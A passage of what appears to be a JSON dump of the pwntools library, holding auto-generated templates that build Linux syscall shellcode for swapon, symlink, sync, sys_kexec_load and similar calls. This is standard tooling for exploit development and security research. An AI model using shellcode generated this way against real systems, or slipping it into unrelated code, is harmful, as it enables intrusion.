we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_swapoff']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_swapoff'])\n%>\n    /* swapoff(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/swapon.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>swapon(path, flags) -> str\n\nInvokes the syscall swapon.\n\nSee 'man 2 swapon' for more information.\n\nArguments:\n    path(char*): path\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'flags']\n    argument_values = [path, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_swapon']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_swapon'])\n%>\n    /* swapon(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/switch_endian.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>switch_endian(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall switch_endian.\n\nSee 'man 2 switch_endian' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_switch_endian']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_switch_endian'])\n%>\n    /* switch_endian(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/symlink.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>symlink(from_, to) -> str\n\nInvokes the syscall symlink.\n\nSee 'man 2 symlink' for more information.\n\nArguments:\n    from_(char*): from\n    to(char*): to\nReturns:\n    int\n</%docstring>\n<%page args=\"from_=0, to=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['from', 'to']\n    can_pushstr_array = []\n\n    argument_names = ['from', 'to']\n    argument_values = [from_, to]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_symlink']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_symlink'])\n%>\n    /* symlink(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/symlinkat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>symlinkat(from_, tofd, to) -> str\n\nInvokes the syscall symlinkat.\n\nSee 'man 2 symlinkat' for more information.\n\nArguments:\n    from_(char*): from\n    tofd(int): tofd\n    to(char*): to\nReturns:\n    int\n</%docstring>\n<%page args=\"from_=0, tofd=0, to=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['from', 'to']\n    can_pushstr_array = []\n\n    argument_names = ['from', 'tofd', 'to']\n    argument_values = [from_, tofd, to]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_symlinkat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_symlinkat'])\n%>\n    /* symlinkat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sync.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sync() -> str\n\nInvokes the syscall sync.\n\nSee 'man 2 sync' for more information.\n\nArguments:\n\nReturns:\n    void\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sync']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sync'])\n%>\n    /* sync(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sync_file_range.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sync_file_range(fd, offset, count, flags) -> str\n\nInvokes the syscall sync_file_range.\n\nSee 'man 2 sync_file_range' for more information.\n\nArguments:\n    fd(int): fd\n    offset(off64_t): offset\n    count(off64_t): count\n    flags(unsigned): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, offset=0, count=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'offset', 'count', 'flags']\n    argument_values = [fd, offset, count, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sync_file_range']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sync_file_range'])\n%>\n    /* sync_file_range(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sync_file_range2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sync_file_range2(fd, flags, offset, nbytes) -> str\n\nInvokes the syscall sync_file_range2.\n\nSee 'man 2 sync_file_range2' for more information.\n\nArguments:\n    fd(int): fd\n    flags(unsigned): flags\n    offset(off64_t): offset\n    nbytes(off64_t): nbytes\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, flags=0, offset=0, nbytes=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'flags', 'offset', 'nbytes']\n    argument_values = [fd, flags, offset, nbytes]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sync_file_range2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sync_file_range2'])\n%>\n    /* sync_file_range2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/syncfs.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>syncfs(fd) -> str\n\nInvokes the syscall syncfs.\n\nSee 'man 2 syncfs' for more information.\n\nArguments:\n    fd(int): fd\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd']\n    argument_values = [fd]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_syncfs']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_syncfs'])\n%>\n    /* syncfs(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sys_kexec_load.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sys_kexec_load(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall sys_kexec_load.\n\nSee 'man 2 sys_kexec_load' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < 